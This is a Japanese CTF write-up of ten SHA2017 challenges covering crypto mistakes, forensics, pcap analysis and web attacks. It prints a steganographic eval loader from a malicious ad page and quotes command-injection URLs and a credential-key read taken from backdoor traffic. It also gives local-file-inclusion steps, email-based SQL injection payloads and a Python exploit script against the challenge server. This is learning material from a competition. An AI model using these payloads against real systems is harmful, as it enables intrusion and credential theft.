チーム Harekaze で SHA2017 CTF に参加しました。最終的にチームで 2300 点を獲得し、順位は得点 462 チーム中 18 位でした。(うち、私は 10 問を解いて 1700 点を入れました。)
以下、解いた問題の write-up です。
flag.pdf.enc
という暗号化された PDF と encrypt.py
という以下のような内容のスクリプトが与えられました。
import os, sys
from Crypto.Cipher import AES
fn = sys.argv[1]
data = open(fn,'rb').read()
# Secure CTR mode encryption using random key and random IV, taken from
# http://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr
secret = os.urandom(16)
crypto = AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret)
encrypted = crypto.encrypt(data)
open(fn+'.enc','wb').write(encrypted)
AES-CTR でファイルを暗号化しているようですが、AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret)
とカウンターが固定されてしまっています。
まず %PDF-1
と flag.pdf.enc
の先頭 6 バイトを xor、これに 10 バイト \x00
を加えて flag.pdf.enc
の全体を xor すると、0x19760 辺りに 10 10 10 10 10 10 …
というバイト列がありました。
flag.pdf.enc
の 0x19760 ~ 0x19770 と \x10
を xor して、さらにこれと flag.pdf.enc
の全体を xor すると flag.pdf が復号できました。
FLAG{15AD69452103C5DF1CF61E9D98893492}
kimberly.img
というイメージファイルが与えられました。FTK Imager で開くと、.bash_history
、...
(暗号化用の Python スクリプト)、...
によって暗号化された画像 17 枚が得られました。
...
は ./... (16 文字のパスワード)
のようにして実行すると、カレントディレクトリ下にある画像ファイルにブラーをかけて保存し、元画像を暗号化して Base64 エンコードした文字列を加工後の画像ファイルに付け加えるというスクリプトでした。
暗号化方式には AES-CFB、実行時のパスワードをそのまま鍵として、実行時のタイムスタンプを乱数のシードに使って英数字から 16 文字を選んだ文字列を IV として暗号化が行われていました。
.bash_history
は以下のような内容でした。
unset HISTFIL
ls -la
pwd
chmod +x ...
./... Hb8jnSKzaNQr5f7p
ls -Rla
これで暗号化に使われたパスワードが分かりました。IV についても暗号化された画像ファイルの更新日時を見ればよさそうです。以下のスクリプトを実行すると画像ファイルが復号できました。
import base64
import glob
import random
import string
import os.path
from Crypto.Cipher import AES
def get_iv(t):
iv = ''
random.seed(t)
for i in range(0, 16):
iv += random.choice(string.letters + string.digits)
return iv
def decrypt(m, p, i):
aes = AES.new(p, AES.MODE_CFB, i)
return aes.decrypt(base64.b64decode(m))
for im in glob.glob('Pictures/*.png'):
for x in range(5):
with open(im, 'rb') as f:
s = f.read()
s = s[s.rindex('\n') + 1:]
t = decrypt(s, 'Hb8jnSKzaNQr5f7p', get_iv(1497975278 + x))
with open(os.path.join('%d' % (1497975278 + x), os.path.basename(im)), 'wb') as f:
f.write(t)
flag{ed70550afe72e2a8fed444c5850d6f9b}
FOR100.scap
というファイルが与えられました。gzip として展開し、file
で確認すると pcap-ng capture file - version 1.0
というファイル形式であることが分かりました。
Wireshark で開いてみるとプロトコルはどれも System Call
で、open
write
read
などのシステムコールが記録されていました。
open
を眺めていると、/tmp/challenge.py
というファイルが開かれている箇所がありました。その直後にある read
を見てみると、ファイルの内容を得ることができました。
import base64
import sys
obj = AES.new('n0t_just_t00ling', AES.MODE_CBC, '7215f7c61c2edd24')
ciphertext = sys.argv[1]
message = obj.decrypt(base64.b64decode(ciphertext))
sysdig contains "challenge.py"
でフィルターしてみると python /tmp/challenge.py cnKlXI1pPEbuc1Av3eh9vxEpIzUCvQsQLKxKGrlpa8PvdkhfU5yyt9pJw43X9Mqe
が write
されている箇所が見つかりました。実行してみましょう。
$ python challenge.py cnKlXI1pPEbuc1Av3eh9vxEpIzUCvQsQLKxKGrlpa8PvdkhfU5yyt9pJw43X9Mqe
Congrats! flag{1da3207f50d82e95c6c0eb803cdc5daf}
flag{1da3207f50d82e95c6c0eb803cdc5daf}
flag{7c3a6348e53d249ebeda98e253404375}
Bitcoin のトランザクションが与えられました。デコードしてみると scriptPubKey
が以下のような内容になっていました。
0
10
OP_PICK
23
OP_PICK
OP_ADD
99
OP_EQUAL
OP_ADD
...
30
OP_PICK
OP_RIPEMD160
412fc6097e62d5c494b8df37e3805805467d1a2c
OP_EQUAL
OP_ADD
...
OP_NIP
OP_NIP
OP_NIP
OP_NIP
OP_NIP
38
OP_EQUAL
flag[10] + flag[23] == 99
、RIPEMD160(flag[30]) == '412fc6097e62d5c494b8df37e3805805467d1a2c'
のような比較が 38 回繰り返されたあと、等しかった回数と 38 を比較しています。
フラグの形式は flag{[0-9a-f]{32}}
であるということが分かっています。適当に Z3 で解いてみましょう。
OP_RIPEMD160
412fc6097e62d5c494b8df37e3805805467d1a2c
のような命令列を 50
('2'
) のように比較されているハッシュの元の値に変えて、以下のスクリプトを走らせるとフラグが得られました。
from z3 import *
with open('dump.txt', 'r') as f:
s = f.read()
solver = Solver()
flag = [BitVec('flag_%d' % x, 8) for x in range(38)]
for c in flag[5:-1]:
solver.add(Or(And(ord('0') <= c, c <= ord('9')), And(ord('a') <= c, c <= ord('f'))))
stack = []
for c in flag:
stack.append(c)
for line in s.splitlines():
if line == 'OP_PICK':
stack.append(stack[-(stack.pop()+1)])
elif line == 'OP_ADD':
stack.append(stack.pop() + stack.pop())
elif line == 'OP_EQUAL':
a, b = stack.pop(), stack.pop()
solver.add(a == b)
stack.append(1)
elif line.isdigit():
stack.append(int(line))
elif 'OP_NIP':
pass
else:
print line
r = solver.check()
print r
if r == sat:
m = solver.model()
res = ''
for c in flag:
res += chr(m[c].as_long())
print res
$ python2 solve.py
sat
flag{e632323bb5128a5bd7798a6198fddc79}
flag{e632323bb5128a5bd7798a6198fddc79}
malware-testrun.pcap
という pcap ファイルが与えられました。
NetworkMiner に投げてみると、ads.html
、ad001.png
~ ad006.png
という 6 枚の画像ファイルが得られました。
ads.html
は以下のような内容でした。
<html>
<head><title>Advertisement</title></head>
<body>
<img id="img" src="data:image/png;base64,ej0iIjtmdW5jdGlvbiB2KGIpe3M9Jyc7Zm9yKGk9MCxsPWIubGVuZ3RoO2k8bDtpKz04KXtjPTA7Zm9yKGo9NztqPj0wO2otPTEpe2MrPWJbaSs3LWpdPDxqO31zKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGMpO31yZXR1cm4gczt9ZnVuY3Rpb24gZChpbWcpe2k9MDtsPWltZy5sZW5ndGg7c3Q9W107d2hpbGUoaTxsKXtzdFtpXT0gaW1nW2kqNF0mMTtpKz0xO31yZXR1cm4gdihzdCk7fWZ1bmN0aW9uIGYoKXt3PWkubmF0dXJhbFdpZHRoO2g9aS5uYXR1cmFsSGVpZ2h0O2M9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIik7eD1jLmdldENvbnRleHQoIjJkIik7Yy53aWR0aD13O2MuaGVpZ2h0PWg7eC5kcmF3SW1hZ2UoaSwwLDAsdyxoKTt0PWQoeC5nZXRJbWFnZURhdGEoMCwwLHcsaCkuZGF0YSk7aWYodD10Lm1hdGNoKC9TSEEuKlNIQS8pKXt6Kz10WzBdLnJlcGxhY2UoL1NIQS9nLCcnKTt9fTtmdW5jdGlvbiBxKCl7aT1uZXcgSW1hZ2UoKTtpLmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLGYsZmFsc2UpO2kuc3JjPSJub3RpdC5wbmcifXNldFRpbWVvdXQocSwxMDAwKTtmdW5jdGlvbiBhKCl7ZXZhbCh6KX1zZXRUaW1lb3V0KGEsMjAwMDAwKQo=">
<script type="text/javascript">
eval(atob(document.images[0].src.replace(/.*,/, "")));
// Show ads
function showImage(i){
document.images[0].src="images/ad00" + i + ".png";
}
for (i=0;i<7;i++){
setTimeout(showImage,2000*i,i);
}
</script>
</body>
</html>
#img
の内容を Base64 デコードすると以下のスクリプトが取り出せました。
z = "";
function v(b) {
s = '';
for (i = 0, l = b.length; i < l; i += 8) {
c = 0;
for (j = 7; j >= 0; j -= 1) {
c += b[i + 7 - j] << j;
}
s += String.fromCharCode(c);
}
return s;
}
function d(img) {
i = 0;
l = img.length;
st = [];
while (i < l) {
st[i] = img[i * 4] & 1;
i += 1;
}
return v(st);
}
function f() {
w = i.naturalWidth;
h = i.naturalHeight;
c = document.createElement("canvas");
x = c.getContext("2d");
c.width = w;
c.height = h;
x.drawImage(i, 0, 0, w, h);
t = d(x.getImageData(0, 0, w, h).data);
if (t = t.match(/SHA.*SHA/)) {
z += t[0].replace(/SHA/g, '');
}
};
function q() {
i = new Image();
i.addEventListener('load', f, false);
i.src = "notit.png"
}
setTimeout(q, 1000);
function a() {
eval(z)
}
setTimeout(a, 200000)
画像の赤の LSB にスクリプトを仕込んでいるようです。ad001.png
~ ad006.png
の赤の LSB を結合すると JSF**k のスクリプトが得られました。実行すると 'x=new Date();if(x.getDate()=="23"&&x.getHours()=="12"){alert("flag{02aa1488771e325eef9b0e5f0d2db626}")}'
という文字列が得られました。
flag{02aa1488771e325eef9b0e5f0d2db626}
abuse01.pcap
、abuse02.pcap
、abuse03.pcap
の 3 つの pcap ファイルが与えられました。
abuse01.pcap
を Wireshark で開いてみると、TELNET や IPsec などの通信が記録されていました。TELNET の通信は以下のような内容でした。
root@vpn1:~# ip xfrm state
src 10.11.0.1 dst 10.11.0.83
proto esp spi 0xce9b2ab8 reqid 1 mode tunnel
replay-window 32 flag af-unspec
auth-trunc hmac(sha1) 0x17f298179ebf35a4fa12d5d2c3f3b0466f435282 96
enc cbc(aes) 0xfb59dc471ca7f58beb30cd0d1bcbb83d6bc0fe76bca7e92bf5c0e455b23e4fe4
encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
anti-replay context: seq 0x0, oseq 0xd, bitmap 0x00000000
src 10.11.0.83 dst 10.11.0.1
proto esp spi 0xcaa4cf43 reqid 1 mode tunnel
replay-window 32 flag af-unspec
auth-trunc hmac(sha1) 0xab7271cc8e3d0c403ed75323f8f8f582c784e821 96
enc cbc(aes) 0x28fcaa9d777f940fac57e1be15477f5f074547b6a723df9243b0eb06bdd74619
encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
anti-replay context: seq 0xd, oseq 0x0, bitmap 0x00001fff
これで IPsec の通信は復号できそうです。IPsec(ISAKMP、ESP)の復号化手順 - sai’s diary を見ながら復号すると、/?ip=%3Bcat%20/tmp/backdoor.py
や /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\&
などにアクセスしている HTTP の通信が見られるようになりました。
backdoor.py
は ICMP を利用するバックドアで、ファイルの送信やコマンドなどの通信を AES-CBC で暗号化や復号を行っているようです。
以下のスクリプトを実行すると abuse02.pcap
と abuse03.pcap
を復号できました。
import base64
import sys
import time
from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"
class AESCipher:
def __init__( self, key ):
self.key = key
def encrypt( self, raw ):
raw = pad(raw)
iv = Random.new().read( AES.block_size )
cipher = AES.new( self.key, AES.MODE_CBC, iv )
return base64.b64encode( iv + cipher.encrypt( raw ) )
def decrypt( self, enc ):
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv )
return unpad(cipher.decrypt( enc[16:] ))
def chunks(L, n):
for i in xrange(0, len(L), n):
yield L[i:i+n]
if __name__ == '__main__':
import sys
if len(sys.argv) < 3:
sys.exit(1)
pkts = rdpcap(sys.argv[1])
cipher = AESCipher(sys.argv[2])
for packet in pkts:
if str(packet.getlayer(ICMP).type) == "8":
inp = packet[IP].load
if inp[0:len(magic)] == magic:
inp = inp.split(":")
data = cipher.decrypt(inp[1]).split(":")
print data
abuse02.pcap
を復号すると ls -la
や id
、cat /root/certs/intranet.key
などのコマンドを実行している記録が得られました。
abuse03.pcap
を復号すると /tmp/intranet.pcap
と /tmp/usb.pcap
の送信を行っている記録が得られました。以下のスクリプトを実行すると 2 つの pcap ファイルを復元することができました。
import base64
import re
def decode(i, o):
with open(i, 'r') as f:
s = f.read()
res = []
m = re.compile(r"\['getfile', '(\d+)', '([0-9A-Za-z_=-]+)'\]")
for line in s.splitlines()[1:]:
a, b = m.findall(line)[0]
res.append((int(a), b))
res.sort(key=lambda x: x[0])
with open(o, 'wb') as f:
f.write(base64.urlsafe_b64decode(''.join(x[1] for x in res)))
decode('a.txt', 'intranet.pcap')
decode('b.txt', 'usb.pcap')
intranet.pcap
は TLS の通信を記録した pcap のようです。abuse02.pcap
を復号して得られた intranet.key
を使って復号すると、secret.zip
というパスワード付きの zip ファイルを得られました。
usb.pcap
は USB キーボードの通信を記録した pcap のようです。HID Usage Tables を参考に 1 文字ずつ打っていた文字を調べると、以下のように入力していることが分かりました。
root
Welcome123
ls -la
curl -ks https://root:Welcome123@intranet/secret.zip
unzip secret.zip
Pyj4m4P4rtY@2017
cat secret.txt
display hamburg(Tab)
logoout
Pyj4m4P4rtY@2017
をパスワードとして secret.zip
を展開するとフラグが得られました。
flag{bf107b7f64f320034df7e48669439f69}
与えられた URL にアクセスしてソースを確認すると、以下のようなコメントがありました。
<!-- TODO: Check apache access and error log for errors -->
また、他のページのリンクは以下のように ?page=...
という形になっていました。
<a href="?page=home">Home</a>
<a href="?page=about">About</a>
<a href="?page=what">What We Do</a>
<a href="?page=menu">Menu</a>
<a href="?page=contact">Contacts</a>
/home
にアクセスすると /?page=home
と同じ結果が表示されました。また、/?page=css/style.css
にアクセスすると css/style.css
と同じ結果が表示されました。include
や file_get_contents
などに $_GET['page']
をそのまま渡していそうです。
何かログに関する情報が得られないか、/?page=.htaccess
にアクセスして .htaccess
の内容を見てみます。
<FilesMatch "\.(htaccess|htpasswd|sqlite|db)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "\.phps$">
Order Allow,Deny
Allow from all
</FilesMatch>
<FilesMatch "suP3r_S3kr1t_Fl4G">
Order Allow,Deny
Deny from all
</FilesMatch>
# disable directory browsing
Options -Indexes
suP3r_S3kr1t_Fl4G
というファイルがあるようです。/?page=suP3r_S3kr1t_Fl4G
にアクセスするとフラグが得られました。
flag{82d8173445ea865974fc0569c5c7cf7f}
与えられた URL にアクセスすると、メールアドレスとパスワード、CAPTCHA を入力できるログインフォームが表示されました。
メールアドレスに hoge'@example.com
と入力してみると Database error
と表示されました。また、' or 1;--@example.com
と入力してみると ' or 1;--@example.com is not a valid email address according FILTER_VALIDATE_EMAIL
と表示されました。SQLi ができそうですが、メールアドレスとして妥当でなければならないようです。
メールアドレスで SQLi、と聞いて思い出されるのが XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス | 徳丸浩の日記という記事です。
;
や (
、)
のような文字はそのままでは使えませんが、"
で囲めば使えるということなので "'/**/union/**/select/**/sqlite_version();--"@a.a
を入力してみると、Couldn't login with password: 3.11.0
と表示されました。
sqlite_version()
でエラーが出ないことから SQLite が使われていることが分かりました。"'union/**/select/**/group_concat(sql)from/**/sqlite_master--"@a.a
を入力してみると、以下のように出力されていました。
array(2) {
[0]=>
string(224) "CREATE TABLE users (
id INTEGER PRIMARY KEY ASC,
mail varchar(32) NOT NULL,
password varchar(6) DEFAULT NULL
),CREATE TABLE image (
id INTEGER PRIMARY KEY ASC,
line int(11) NOT NULL,
base64 varchar(16) NOT NULL
)"
["password"]=>
string(224) "CREATE TABLE users (
id INTEGER PRIMARY KEY ASC,
mail varchar(32) NOT NULL,
password varchar(6) DEFAULT NULL
),CREATE TABLE image (
id INTEGER PRIMARY KEY ASC,
line int(11) NOT NULL,
base64 varchar(16) NOT NULL
)"
}
image
というテーブルが怪しそうです。以下のスクリプトを実行するとフラグが得られました。
import re
import requests
url = 'http://ethicalhacker.stillhackinganyway.nl/'
cookies = {
'PHPSESSID': 'ql4ss5be59uu46tg7iu48e2ue1'
}
lines = requests.post(url, data={
'mail': '''"'union/**/select/**/group_concat(line)from/**/image--"@a.a''',
'pw': 'a',
'security': raw_input('> ')
}, cookies=cookies).content
with open('captcha.jpg', 'wb') as f:
im = re.findall(r'base64,([0-9A-Za-z/+=]+)', lines)[0]
f.write(im.decode('base64'))
i = lines.index('"') + 1
lines = [int(x) for x in lines[i:lines.index('"', i)].split(',')]
images = requests.post(url, data={
'mail': '''"'union/**/select/**/group_concat(base64)from/**/image--"@a.a''',
'pw': 'a',
'security': raw_input('> ')
}, cookies=cookies).content
i = images.index('"') + 1
images = images[i:images.index('"', i)].split(',')
images = sorted(zip(lines, images), key=lambda x: x[0])
res = ''
for x in images:
res += x[1]
with open('result.jpg', 'wb') as f:
f.write(res.decode('base64'))
FLAG{3062137387F1789D8DA3FF7AAFE3DB7A}